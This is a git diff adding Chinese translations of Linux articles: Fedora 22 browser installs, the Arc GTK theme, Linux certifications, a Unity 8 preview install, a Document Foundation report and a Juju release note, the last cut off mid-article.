+它会根据你的系统架构自动安装32位或64位的 Java 发行版。 + +### 13) 在 Fedora 22 上安装浏览器 ### + +Fedora 22的默认浏览器是 Firefox,不过其它的浏览器也各有优缺点。最终用户选择浏览器会有种种原因。这里我们提供一些在 Fedora 22上安装其它浏览器的方法。 + +#### 安装 Google Chrome#### + +使用你惯用的编辑器,在 yum 库目录中打开或创建 google-chrome.repo 文件。 + + sudo gedit /etc/yum.repos.d/google-chrome.repo + +加入以下内容并保存。 + + [google-chrome] + name=google-chrome + baseurl=http://dl.google.com/linux/chrome/rpm/stable/$basearch + enabled=1 + gpgcheck=1 + gpgkey=https://dl-ssl.google.com/linux/linux_signing_key.pub + +现在 yum 就配置好可以找到稳定版本的 Chrome 了,使用如下命令安装它。 + + sudo dnf install google-chrome-stable + +#### 安装 Tor 浏览器 #### + +在 Fedora 22 中安装 Tor 有一点棘手,在 /etc/yum.repos.d 目录中打开或创建 torproject.repo 文件。 + + sudo gedit /etc/yum.repos.d/torproject.repo + +插入以下内容。 + + [tor] + name=Tor repo + enabled=1 + baseurl=https://deb.torproject.org/torproject.org/rpm/fc/22/$basearch/ + gpgcheck=1 + gpgkey=https://deb.torproject.org/torproject.org/rpm/RPM-GPG-KEY-torproject.org.asc + + [tor-source] + name=Tor source repo + enabled=1 + autorefresh=0 + baseurl=https://deb.torproject.org/torproject.org/rpm/fc/22/SRPMS + gpgcheck=1 + gpgkey=https://deb.torproject.org/torproject.org/rpm/RPM-GPG-KEY-torproject.org.asc + +也许会问到 GPG 键的指纹,它应该如下。 + + 3B9E EEB9 7B1E 827B CF0A 0D96 8AF5 653C 5AC0 01F1 + +不幸的是,在 EPEL 和 Fedora 仓库中有一个相同名字的软件包,你需要明确排除这个来避免安装/删除/修改它。所以,在/etc/yum.repos.d/epel.repo 中加入 `Exclude=tor` 一行。 + +最后,使用如下命令来安装 Tor。 + + sudo dnf install tor + +安装完成,启动服务。 + + sudo service tor start + +#### 安装 Vivaldi#### + +根据你的系统架构下载32位或64位的 Vivaldi 浏览器。 + + sudo wget https://vivaldi.com/download/Vivaldi_TP3.1.0.162.9-1.i386.rpm + sudo wget https://vivaldi.com/download/Vivaldi_TP3.1.0.162.9-1.x86_64.rpm + +使用下列命令安装下载的 RPM。 + + sudo rpm -ivh Vivaldi_TP3.1.0.162.9-1.i386.rpm + sudo rpm -ivh Vivaldi_TP3.1.0.162.9-1.x86_64.rpm + + +### 尾声 ### + +就是这样了,一切就绪。使用新系统吧,试试新东西。如果你找不到与你喜好的东西,linux赋予你自由修改它的权利。Fedora自带有最新的Gnome Shell作为其桌面环境,如果你觉得太臃肿而不喜欢,那么试试KDE或一些轻量级的DE,像Cinnamon、xfce之类。愿你的Fedora之旅十分开心并且没有困扰!! + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/things-do-after-installing-fedora-22/ + +作者:[Jonathan DeMasi][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/jonathande/ +[1]:https://get.adobe.com/flashplayer/ +[2]:http://spins.fedoraproject.org/ +[3]:https://www.google.com/intl/en/chrome/browser/desktop/index.html diff --git a/published/201506/20150603 Arc Is a Gorgeous GTK Theme for Linux Desktops.md b/published/201506/20150603 Arc Is a Gorgeous GTK Theme for Linux Desktops.md new file mode 100644 index 0000000000..e8fd8c6dbd --- /dev/null +++ b/published/201506/20150603 Arc Is a Gorgeous GTK Theme for Linux Desktops.md @@ -0,0 +1,57 @@ +一款很棒的GTK桌面主题:Arc +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/06/arc-gtk-theme.jpg) + +距离本站上次推荐的GTK主题已经过了很久了。但是看到上图中的Arc主题后,就值得打破冷场了。我们不能不推荐它! + +### Arc GTK主题 ### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/06/see-through-theme.png) + +*透明,并不符合每个人的口味* + +Arc是一个扁平化主题并有微妙的配色方案,窗口的选中区域是透明的,如GTK的顶栏和Nautilus的侧边栏。 + +它的效果不像我们之前介绍的主题那样将程序渲染的像那么混乱。有点像 OSX Yosemite,效果用的不多但是很好。 + +与之伴随的图标集(称为Vertex)同样工作的很好。 + +**是的它支持Unity** + +Arc主题支持基于GTK3和GTK2桌面环境,包含Gnome Shell(当然了)和标准的Ubuntu Unity。 + +它可以很好地游刃于轻量级的Budgie和elementary的Pantheon桌面之间,并且与Cinnamon配合也不错。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2015/06/Screen-Shot-2015-06-02-at-18.07.15.png) + +*Arc中的开关、滑块和小挂件* + +它并不容易下载与安装- *understatement klaxon* - 因为它还在密集开发中。 + +安装包需要GTK 3.14及以上,这意味着Ubuntu 14.04 LTS和14.10的用户无法使用了。 + +那些使用Ubuntu 15.04的用户可以使用这个主题。你可以添加ppa或者双击.deb包来安装。 + +如果你喜欢它,你需要卷起你的袖子并查看github上的编译指导。 + +- [Github中Arc安装指导][1] + +更新6/7:现在可以使用软件库来安装它(由 openSUSE 用户 Horst1380 创建,也可用于 Ubuntu 用户),也可以下载预打包的 .deb 文件。 + +- [Horst31890 的 Arc 主题库][2] +- [下载 Arc 主题 .deb][3] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2015/06/arc-gtk-theme + +作者:[Joey-Elijah Sneddon][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://github.com/horst3180/Arc-theme +[2]:http://software.opensuse.org/download.html?project=home%3AHorst3180&package=arc-theme +[3]:http://download.opensuse.org/repositories/home:/Horst3180/xUbuntu_15.04/all/arc-theme_1433786431.697b2c3_all.deb \ No newline at end of file diff --git a/published/201506/20150603 Here's How to Install the Beautiful Arc GTK+ Flat Theme on Linux.md b/published/201506/20150603 Here's How to Install the Beautiful Arc GTK+ Flat Theme on Linux.md new file mode 100644 index 0000000000..edcc62b86f --- /dev/null +++ b/published/201506/20150603 Here's How to Install the Beautiful Arc GTK+ Flat Theme on Linux.md @@ -0,0 +1,43 @@ +如何在 Linux 中安装漂亮的 GTK+ 扁平化主题 Arc +================================================================================ + +**今天我们将向你介绍最新发布的GTK+主题,它拥有透明和扁平元素,并且与多个桌面环境和Linux发行版兼容。[这个主题叫Arc][1]。** + +开始讲细节之前,我建议你快速浏览一下下面的图,这样你有会对这个主题就会有一个基本的概念了。同样你应该知道它目前可以工作在GTK+ 2.x、GTK+ 3.x、GNOME-Shell、 Budgie、 Unity和Pantheon用户界面,它们都使用了GNOME 体系。 + +![](http://i1-news.softpedia-static.com/images/news2/Here-s-How-to-Install-the-Beautiful-Arc-GTK-plus-Flat-Theme-on-Linux-483143-2.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Here-s-How-to-Install-the-Beautiful-Arc-GTK-plus-Flat-Theme-on-Linux-483143-3.jpg) + +![](http://i1-news.softpedia-static.com/images/news2/Here-s-How-to-Install-the-Beautiful-Arc-GTK-plus-Flat-Theme-on-Linux-483143-4.jpg) + +同样、Arc主题的开发者告诉我们它已经成功地在Ubuntu 15.04(Vivid Vervet)、 Arch Linux、 elementary OS 0.3 Freya、 Fedora 21、 Fedora 22、 Debian GNU/Linux 8.0 (Jessie)、 Debian Testing、 Debian Unstable、 openSUSE 13.2、 openSUSE Tumbleweed和Gentoo测试过了。 + +### 要求和安装指导 ### + +要构建Arc主题,你需要先安装一些包,比如autoconf、 automake、 pkg-config (对于Fedora则是pkgconfig)、基于Debian/Ubuntu-based发行版的libgtk-3-dev或者基于RPM的gtk3-devel、 git、 gtk2-engines-pixbuf和gtk-engine-murrine (对于Fedora则是gtk-murrine-engine)。 + +Arc主题还没有二进制包,因此你需要从git仓库中取下最新的源码并编译。这样,打开终端并运行下面的命令,一行行地输入,并在每行的末尾按下回车键并等待上一步完成来继续下一步。 + + git clone https://github.com/horst3180/arc-theme --depth 1 && cd arc-theme + git fetch --tags + git checkout $(git describe --tags `git rev-list --tags --max-count=1`) + ./autogen.sh --prefix=/usr + sudo make install + +就是这样!此时你已经在你的GNU/Linux发行版中安装了Arc主题,如果你使用GNOME可以使用GONME Tweak工具,如果你使用Ubuntu的Unity可以使用Unity Tweak工具来激活主题。玩得开心但不要忘了在下面的评论栏里留下你的截图。 + + + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Here-s-How-to-Install-the-Beautiful-Arc-GTK-plus-Flat-Theme-on-Linux-483143.shtml + +作者:[Marius Nestor][a] +译者:[geekpi](https://github.com/geekpi) +校对:[caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/marius-nestor +[1]:https://github.com/horst3180/Arc-theme diff --git a/published/201506/20150604 12 Globally Recognized Linux Certifications.md b/published/201506/20150604 12 Globally Recognized Linux Certifications.md new file mode 100644 index 0000000000..3b1ed918ba --- /dev/null +++ b/published/201506/20150604 12 Globally Recognized Linux Certifications.md @@ -0,0 +1,172 @@ +12 个全球认可的 Linux 认证 +================================================================================ +大家好,今天我们将会认识一些非常有价值的全球认可的Linux认证。Linux认证是不同的Linux专业机构在全球范围内进行的认证程序。Linux认证可以让Linux专业人才可以在服务器领域或者相关公司等等这些地方更容易获得Linux相关的工作。Linux认证评估一个人在Linux的各个领域里的专业程度。有很多不错的Linux专业机构提供不同的Linux认证。但是,在公司谋取一份工作时全球仅有少数被非常认可的Linux认证含金量很高,这些工作包括管理服务器,虚拟化,安装系统与软件,配置程序,应用支持和其他Linux操作系统相关的东西。随着全球使用Linux操作系统的服务器的增长,拉动了对于Linux专业人才的需求。为了更好的证明Linux专业技术水平,在全球看来,更好的、著名的认证总是有着更高的优先级。 + +这里是一些全球认可的Linux认证,我们接下来将会一一谈到。 + +### 1. CompTIA Linxu+ ### + +CompTIA Linux+ 是LPI(Linux Professional Institute,Linux专业委员会)主办的一个Linux认证,在全世界范围内提供培训。其提供的Linux相关知识,可以用于从事一大批Linux相关专业的工作,如Linux管理员、高级网络管理员、系统管理员、Linux数据库管理员和Web管理员。如果任何人想从事安装和维护Linux操作系统,该课程会帮助他达到认证要求,并且通过提供对Linux系统更宽阔的认识,能够为通过考试做好准备。LPI的CompTIA Linux+认证的主要目的就是,提供给证书持有者足够扎实的,关于安装软件、操作、管理和设备排障的知识。我们可以付出一定的费用、时间和努力,完成CompTIA Linux+,同时获得三个业内认可的证书:**LPI LPIC-1**和**SUSE Certified Linux Administrator (CLA)**证书。 + +- **认证代码** : LX0-103,LX0-104(2015年3月30日启动)或者LX0-101,LX0-102 +- 题目数量:每次考试60道题 +- 题目类型:多选 +- 考试时长:90分钟 +- 要求:A+,Network+,并且有至少12个月的Linux管理经验 +- 分数线:500 (对于200-800的范围来说) +- 语言:英语,将来会有德语,葡萄牙语,繁体中文,西班牙。 +- 有效期:认证后三年有效 + +**注意**:不同系列的考试不能合并。如果你考的是LX0-101,那么你必须考LX0-102完成认证。同样的,LX0-103和LX0-104又是一个系列。LX0-103和LX0-104系列是LX0-101和LX0-102系列的升级版。 + +### 2. LPIC ### + +LPIC,全称Linux专业委员会认证( Linux Professional Institute Certification),是Linux专业委员会的一个Linux认证程序。这是一个多级别的认证程序,要求在每个级别通过一系列(通常是两个)的认证考试。该认证有三个级别,包括初级水平认证 **LPIC-1** ,高级水平认证 **LPIC-2**和最高水平认证 **LPIC-3**。前两个认证侧重于 **Linux系统管理**,而最后一个认证侧重一些专业技能,包括虚拟化和安全。为了得到 **LPIC-3** 认证,一个持有有效的 **LPIC-1** 与**LPIC-2** 认证的考生必须通过300复杂环境测试、303安全测试、304虚拟化测试和高可用性测试中的一个。**LPIC-1**认证按照证书持有者可以通过运行Linux,使用命令行界面和基本的网络知识安装,维护,配置等任务而设计,LPIC-2测试考生是否作为管理中小型混合网络的候选人。LPIC-3认证是为企业级Linux专业技能设计所设计,代表了最高的专业水平和不针对特定 Linux 发行版的行业认证。 + +- **认证代码**:LPIC-1(101和102),LPIC-2(201和202)和LPIC-3(300,303或者304) +- 题目类型:60个多项选择 +- 考试时长:90分钟 +- 要求:无,建议有 Linux Essentials 认证 +- 分数线:500(在200-800的范围内) +- 语言:LPIC-1:英语,德语,意大利语,葡萄牙语,西班牙语(现代),汉语(简体),汉语(繁体),日语 +- LPIC-2:英语,德语,葡萄牙语,日语 +- LPIC-3:英语,日语 +- 有效期:退休之后五年内仍然有效 + +### 3.Oracle Linux OCA ### + +Oracle联合认证(OCA)为个人而定制,适用于那些想证明其部署和管理Oracle Linux操作系统的知识牢固的人。该认证专业知识仅仅针对Oracle Linux发行版,这个系统完全是为Oracle产品特别剪裁的,可以运行Oracle设计的系统,包括Oracle Exadata数据库服务器,Oracle Exalytics In-Memory 服务器,Oracle Exalogic 均衡云,和Oracle数据库应用等。Oracle Linux的“坚不可摧企业内核”为企业应用带来了高性能、高扩展性和稳定性。OCA认证覆盖了如管理本地磁盘设备、管理文件系统、安装和移除Solaris包与补丁,优化系统启动过程和系统进程。这是拿到OCP证书系列的第一步。OCA认证以其前身为Sun Certified Solaris Associate(SCSAS)而为人所知。 + +- **认证代码**:OCA +- 题目类型:75道多项选择 +- 考试时长:120分钟 +- 要求:无 +- 分数线:64% +- 有效期:永远有效 + +### 4. Oracle Linux OCP ### + +Oracle专业认证(OCP)是Oracle公司为Oracle Linux提供的一个认证,覆盖更多的进阶知识和技能,对于一个Oracle Linux管理员来说。它囊括的知识有配置网络接口、管理交换分区配置、崩溃转储、管理软件、数据库和重要文件。OCP认证是技术性专业知识和专业技能的基准测试,这些知识与技能需要在公司里广泛用于开发、部署和管理应用、中间件和数据库。Oracle Linux OCP的工作机会在增长,这得益于工作市场和经济发展。根据考试纲领,证书持有者有能力胜任安全管理、为Oracle 数据库准备Oracle Linux系统、排除故障和进行恢复操作、安装软件包、安装和配置内核模块、维护交换空间、完成用户和组管理、创建文件系统、配置逻辑卷管理(LVM)、文件分享服务等等。 + +- **认证代码**:OCP +- 题目类型:60至80道多项选择题 +- 考试时长:120分钟 +- 要求:Oracle Linux OCA +- 分数线:64% +- 有效期:永远有效 + +### 5. RHCSA ### + +RHCSA是红帽公司作为红帽认证系统工程师推出的一个认证程序。RHCSA们是指一些拥有在著名的红帽Linux环境下完成核心系统管理技能和能力的人。这是一个入门级的认证程序,关注在系统管理上的实际胜任能力,包括安装、配置一个红帽Linux系统,接入一个可用的网络提供网络服务。一个红帽认证的系统管理员可以理解和使用基本的工具,用以处理文件、目录、命令行环境和文档;操作运行中的系统,包括以不同的启动级别启动、识别进程、开启和停止虚拟机和控制服务;使用分区和逻辑卷配置本地存储;创建和配置文件系统和文件系统属性,包括权限、加密、访问控制列表和网络文件系统;部署配置和维护系统,包括软件安装、更新和核心服务;管理用户和组,包括使用一个中心的目录用于验证;安全性的工作,包括基本的基本防火墙和SELinux配置。要获得RHCE和其他认证,首先得认证过RHCSA。 + +- **认证代码**:RHCSA +- 课程代码:RH124,RH134和RH199 +- 考试代码:EX200 +- 考试时长:21-22小时,取决于选择的课程 +- 要求:无。有一些Linux基础知识更好 +- 分数线:300总分,210过(70%) +- 有效期:3年 + +### 6. RHCE ### + +RHCE,也叫做红帽认证工程师,是一个中到高级水平的认证程序,为一些想要学习更多技能和知识,成为一个负责红帽企业Linux的高级系统管理员的RHCSA开设的,RHCE应该有能力、知识和技能来配置静态路由、包过滤、NAT、设定内核运行参数、配置一个ISCSI初始化程序,生成并发送系统用量报告、使用shell脚本自动完成系统维护任务、配置系统日志,包括远程日志、提供网络服务如HTTP/HTTPS、FTP、NFS、SMB、SMTP、SSH和NTP等等。推荐希望获得更多高级水平的认证的RHCSA们、已经完成系统管理员I,II和III、或者已经完成RHCE 快速跟进培训的人们参加认证。 + +- **认证代码**:RHCE +- 课程代码:RH124,RH134,RH254和RH199 +- 考试代码:EX200和EX300 +- 考试时长:21-22个小时,取决于所选课程 +- 要求:一个RHCSA证书 +- 分数线:300总分,210过(70%) +- 有效期:3年 + +### 7. RHCA ### + +RHCA即红帽认证架构师,是红帽公司的一个认证程序。它的关注点在系统管理的实际能力,包括安装和配置一个红帽Linux系统,并加入到一个可用网络中运行网络服务。RHCA是所有红帽认证中最高水平的认证。考生需要选择他们希望针对的领域,或者选择合格的红帽认证的任意组合来创建一个他们自己的领域。这里有三个主要的领域:数据中心、云和应用平台。精通数据中心领域的RHCA能够运行、管理数据中心;而熟悉云的可以创建、配置和管理私有云和混合云、云应用平台以及使用红帽企业Linux平台的灵活存储方案;精通应用平台集合的RHCA拥有技能如安装、配置和管理红帽JBoss企业应用平台和应用,云应用平台和混合云环境,借助红帽的OpenShift企业版,使用红帽JBoss数据虚拟化技术从多个资源里组合数据。 + +- **认证代码**:RHCA +- 课程代码:CL210,CL220.CL280,RH236,RH318,RH413,RH436,RH442,JB248和JB450 +- 考试代码:EX333,EX401,EX423或者EX318,EX436和EX442 +- 考试时长:21-22个小时,取决于所选课程 +- 要求:未过期的RHCE证书 +- 分数线:300总分,210过(70%) +- 有效期:3年 + +### 8. SUSE CLA ### + +SUSE认证Linux管理员(SUSE CLA)是SUSE推出的一个初级认证,关注点在SUSE Linux企业服务器环境下的日常任务管理。为了获得SUSE CLA认证,不用必须完成课程任务,只需要通过考试就能获得认证。SUSE CLA们能够、也有技术去使用Linux桌面、定位并利用帮助资源、管理Linux文件系统、用Linux Shell和命令行工作、安装SLE 11 SP22、管理系统安装、硬件、备份和恢复、用YaST管理Linux、Linux进程和服务、存储、配置网络、远程接入、SLE 11 SP2监控,任务自动化和管理用户访问和安全工作。我们可以同时获得SUSE CLA,LPIC-1和CompTIA Linux认证,因为SUSE,Linux Professional Institute和CompATI合作提供了这个同时获得三个Linux认证的机会。 + +- **认证代码**:SUSE CLA +- 课程代码:3115,3116 +- 考试代码:050-720,050-710 +- 问题类型:多项选择 +- 考试时长:90分钟 +- 要求:无 +- 分数线:512 + +### 9. SUSE CLP ### + +SUSE认证Linux专业人员(CLP)是一个认证程序,为那些希望获得关于SUSE Linux企业服务器更多高级且专业的知识的人而服务。SUSE CLP是通过SUSE CLA认证后的下一步。应该通过CLA的考试并拥有证书,然后通过完成CLP的考试才能获得CLP的认证。通过SUSE CLP认证的人员有能力完成安装和配置SLES 11系统、维护文件系统、管理软件包、进程、打印、配置基础网络服务、samba、Web服务器、使用IPv6、创建和运行bash shell脚本。 + +- **认证代码**:SUSE CLP +- 课程代码:3115,3116和3117 +- 考试代码:050-721,050-697 +- 考试类型:手写 +- 考试时长:180分钟 +- 要求:SUSE CLA 认证 + +### 10. SUSE CLE ### + +SUSE认证Linux工程师(CLE)是一个工程师级别的高级认证,为那些已经通过CLE考试的人准备。为了获得CLE认证,人们需要已经获得SUSE CLA和CLP的认证。获得CLE认证的人员拥有架设复杂SUSE Linux企业服务器环境的技能。CLE认证过的人可以配置基本的网络服务、管理打印、配置和使用Open LDAP、samba、IPv6、完成服务器健康检测和性能调优、创建和执行shell脚本、部署SUSE Linux企业板、通过Xen实现虚拟化等等。 + +- **认证代码**:SUSE CLE +- 课程代码:3107 +- 考试代码:050-723 +- 考试类型:手写 +- 考试时长:120分钟 +- 要求:SUSE CLP 10或者11证书 + +### 11. LFCS ### + +Linux基金会认证系统管理员(LFCS)认证考生使用Linux和通过终端环境使用Linux的知识。LFCS是Linux基金会的一个认证程序,为使用Linux操作系统工作的系统管理员和工程师准备。Linux基金会联合业内专家、Linux内核社区,测试考生的核心领域、关键技能、知识和应用能力。通过LFCS认证的人员拥有一些技能、知识和能力,包括在命令行下编辑和操作文件、管理和处理文件系统与存储的错误、聚合分区作为LVM设备、配置交换分区、管理网络文件系统、管理用户帐号/权限和属组、创建并执行bash shell脚本、安装/升级/移除软件包等等。 + +- **认证代码**:LFCS +- 课程代码:LFCS201,LFCS220(可选) +- 考试代码:LFCS 考试 +- 考试时长:2小时 +- 要求:无 +- 分数线:74% +- 语言:英语 +- 有效期:两年 + +### 12. LFCE ### + +Linux基金会认证工程师(LFCE),是Linux基金会为Linux工程师推出的认证。相比于LFCS,通过LFCE认证的人员在Linux方面拥有更大范围的技能。这是一个工程师级别的高级认证程序。LFCE认证的人具备一些网络管理方面的技能和能力,如配置网络服务、配置包过滤、监控网络性能、IP流量、配置文件系统和文件服务、网络文件系统、从仓库安装/升级软件包、管理网络安全、配置iptables、http服务、代理服务、邮件服务等等。由于其为高级工程级别的认证程序,所以普遍认为相比LFCS,学习和通过的难度更大些。 + +- **认证代码**:LFCE +- 课程代码:LFS230 +- 考试代码:LFCE 考试 +- 考试时长:2小时 +- 要求:认证过LFCS +- 分数线:72% +- 语言:英语 +- 有效期:2年 + +### 我们发现的情况(这仅仅是我们的观点)### + +最近的调查表明,在不同的高端招聘代理中,称80%的Linux工作描述更倾向于红帽的认证。如果你是一个学生/新手,并且想学习Linux,那么我们建议选择越来越流行的Linux基金会认证,或者CompTIA Linux也可以是一个选择。如果你已经了解了oracle或suse,或者在他们的产品上工作,那oracle/suse的认证会更好些,如果你在公司里工作了,这些认证会对你的职业生涯成长有帮助:-) + +### 总结 ### + +在这个世界上,成千上万的大公司正在运行跑着Linux操作系统的服务器和主框架机,为了在这些服务器上管理、配置和工作,总是存在着对Linux技术/专业知识高度认证的需求。这些国际上承认的认证对某些人在Linux的职业生涯扮演很重要的角色。这些遍布全球的公司运行着Linux,需要Linux工程师、系统管理员和已经获得认证且在Linux相关领域干得不错的人员。全球认可的Linux认证,对于专业知识和职业生涯的辉煌都是重中之重,所以好好准备考试并获得认证,对于在Linux建立职业生涯是一个很好的选择。如果你有任何问题,想法,反馈,请写在下方的评论框里,让我们好知道哪些东西需要添加或者改进。谢谢!:-) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-how-to/12-globally-recognized-linux-certifications/ + +作者:[Arun Pyasi][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/arunp/ diff --git a/published/201506/20150604 How To Install Unity 8 Desktop Preview In Ubuntu.md b/published/201506/20150604 How To Install Unity 8 Desktop Preview In Ubuntu.md new file mode 100644 index 0000000000..915e6aff8f --- /dev/null +++ b/published/201506/20150604 How To Install Unity 8 Desktop Preview In Ubuntu.md @@ -0,0 +1,77 @@ +在Ubuntu中安装Unity 8桌面预览版 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/06/Unity_8.jpeg) + +如果你一直关注新闻,那么就知道Ubuntu将会切换到带有[Unity 8][2]桌面的[Mir显示服务器][1]。然而,在尚未确定运行在 Mir 上的Unity 8是否会出现在[Ubuntu 15.10 Willy Werewolf][3]之前,有了一个Unity 8的预览版本可供你体验和测试。通过官方PPA,可以很容易地**安装Unity 8到Ubuntu 14.04,14.10和15.04中**。 + +到目前为止,开发者已经可以通过[ISO][4](主要途径)获得该Unity 8预览来进行测试。不过Canonical也通过[LXC容器][5]发布了它。通过该方法,你可以使用Unity 8桌面会话,让它像其它桌面环境一样运行在Mir显示服务器上。就像你[在Ubuntu中安装Mate桌面][6],然后从LightDm登录屏幕选择桌面会话一样。 + +想要试试Unity 8?让我们来看怎样安装它吧。 + +**注意: 它是一个实验性预览,可能不是所有人都可以让它正确工作的。** + +### 安装Unity 8桌面到Ubuntu ### + +下面是安装并使用Unity 8的步骤: + +#### 步骤 1: 安装Unity 8到Ubuntu 12.04和14.04 #### + +如果你正运行着Ubuntu 12.04和14.04,那么你必须使用官方PPA来安装Unity 8。使用以下命令进行安装: + + sudo apt-add-repository ppa:unity8-desktop-session-team/unity8-preview-lxc + sudo apt-get update + sudo apt-get upgrade + sudo apt-get install unity8-lxc + +#### 步骤 1: 安装Unity 8到Ubuntu 14.10和15.04 #### + +如果你正运行着Ubuntu 14.10或15.04,那么Unity 8 LXC已经在源中准备好。你只需要运行以下命令: + + sudo apt-get update + sudo apt-get install unity8-lxc + +#### 步骤 2: 设置Unity 8桌面预览LXC #### + +安装Unity 8 LXC后,该对它进行设置,下面的命令就可达到目的: + + sudo unity8-lxc-setup + +它将花费一些时间来设置,所以,耐心点。它会下载ISO,然后解压缩,接着完成最后一些必要的设置来让它工作。它也会安装一个LightDM的轻度修改版本。这一切都搞定后,需要重启。 + +#### 步骤 3: 选择Unity 8 #### + +重启后,在登录屏幕,点击你的登录旁边的Ubuntu图标: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/08/Change_Desktop_Environment_Ubuntu.jpeg) + +你应该可以在这看到Unity 8的选项,选择它: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/06/Select_Unity8.jpeg) + +### 卸载Unity 8 LXC ### + +如果你发现Unity 8毛病太多,或者你不喜欢它,那么你可以以相同的方式切换回默认Unity版本。此外,你也可以通过下面的命令移除Unity 8: + + sudo apt-get remove unity8-lxc + +该命令会将Unity 8选项从LightDM屏幕移除,但是配置仍然保留着。 + +以上就是你在Ubuntu中安装带有Mir的Unity 8的全部过程,试玩后请分享你关于Unity 8的想法哦! + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/install-unity-8-desktop-ubuntu/ + +作者:[Abhishek][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://en.wikipedia.org/wiki/Mir_%28software%29 +[2]:https://wiki.ubuntu.com/Unity8Desktop +[3]:http://itsfoss.com/ubuntu-15-10-codename/ +[4]:https://wiki.ubuntu.com/Unity8DesktopIso +[5]:https://wiki.ubuntu.com/Unity8inLXC +[6]:http://itsfoss.com/install-mate-desktop-ubuntu-14-04/ diff --git a/published/201506/20150604 Read about The Document Foundation achievements in 2014--download the Annual Report.md b/published/201506/20150604 Read about The Document Foundation achievements in 2014--download the Annual Report.md new file mode 100644 index 0000000000..9bb73fc944 --- /dev/null +++ b/published/201506/20150604 Read about The Document Foundation achievements in 2014--download the Annual Report.md @@ -0,0 +1,32 @@ +下载年度报告,了解The Document Foundation2014年的成果 +================================================================================ +![](https://documentfoundation.files.wordpress.com/2015/06/tdf-report.jpg) + +The Document Foundation (TDF)郑重地发布了2014年度报告,你可以点击这里下载: [http://tdf.io/report2014][1] (3.2 MB PDF)。高清质量的可以点击这里下载 [http://tdf.io/report2014hq][2] (15.9 MB PDF)。 + +TDF年度报告中,以回顾2014年开始了这篇报告,其中包括了TDF和LibreOffice的精彩集锦,并且总结了财务情况和预算。 + +该报告涉及到项目和活动的会议包括:2014年在伯尔尼的LibreOffice大会,在布鲁塞尔、大加那利岛、巴黎、波士顿和土鲁斯的认证项目、网站与质量保证、Hackfests项目等,本土语言项目,基础设施,文档项目,市场设计与营销。 + +该报告涉及到的软件开发活动和代码包括:工程指导委员会的活动,LibreOffice的开发,文档解放项目,LibreOffice的安卓移植。 + +报告的最后一部分则把焦点对准了那些做出了极大贡献的人们,他们是TDF的工作人员,董事会成员,委员会成员,委托组织成员,TDF的核心成员和咨询委员会成员。 + +TDF 2014年度报告的编辑工作由Sophie Gautier, Alexander Werner, Christian Lohmaier, Florian Effenberger, Italo Vignoli 和 Robinson Tryon完成,由Barak Paz设计样式,Libreoffice社区协助完成。 + + +为了最大程度的传播该文档,采用了CC3 认证发布,除非特殊标注,TDF成员和自由软件基金会拥有其所有权。 + +-------------------------------------------------------------------------------- + +via: http://blog.documentfoundation.org/2015/06/03/read-about-the-document-foundation-achievements-in-2014-download-the-annual-report/ + +作者:italovignoli +译者:[sevenot](https://github.com/sevenot) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[1]:https://wiki.documentfoundation.org/File:TDF2014AnnualReport.pdf +[2]:https://wiki.documentfoundation.org/File:TDF2014AnnualReportHQ.pdf +[3]:https://wiki.documentfoundation.org/File:TDF2014AnnualReportDE.pdf \ No newline at end of file diff --git a/published/201506/20150604 Ubuntu's Juju Now Supports systemd and Google Cloud Platform.md b/published/201506/20150604 Ubuntu's Juju Now Supports systemd and Google Cloud Platform.md new file mode 100644 index 0000000000..952b673c41 --- /dev/null +++ b/published/201506/20150604 Ubuntu's Juju Now Supports systemd and Google Cloud Platform.md @@ -0,0 +1,29 @@ +Ubuntu下的Juju现在支持systemd和Google Cloud Platform了 +================================================================================ +> Juju已经更新到1.23.3了 + +**Cononical旗下的Ubuntu认证公共云总监Udi Nachmany宣布了juju新版本的发布,一个开源的、解决方案驱动的Ubuntu下的协同工具。** + +根据[声明][1]和官方[发布公告][2],Juju 1.23.3是一个主要版本,它打包了那些你想要在云上扩展和管理的包,而不需太多操作。 + +Juju 1.23.3显著的功能是包含了对GCE的支持,支持systemd初始化系统,支持Ubuntu 15.04(Vivid Vervet),新的好玩的功能和对受限网络的代理支持。 + +另外,juju的发布带来了一个新的样式恢复、新的消息、新的块和实验性地支持Service Leader Elections,还有Ubuntu MAS和AWS上的LXC容器和KVM实例。 + +Udi Nachmany说:“在一个相关告示中,如果你正在使用Google云平台,你可能已经注意到了Google最近发布了云启动器。如果你观察的足够仔细,你也会注意到你可以使用这个非常友好的UI来启动你的Ubuntu虚拟机。” + 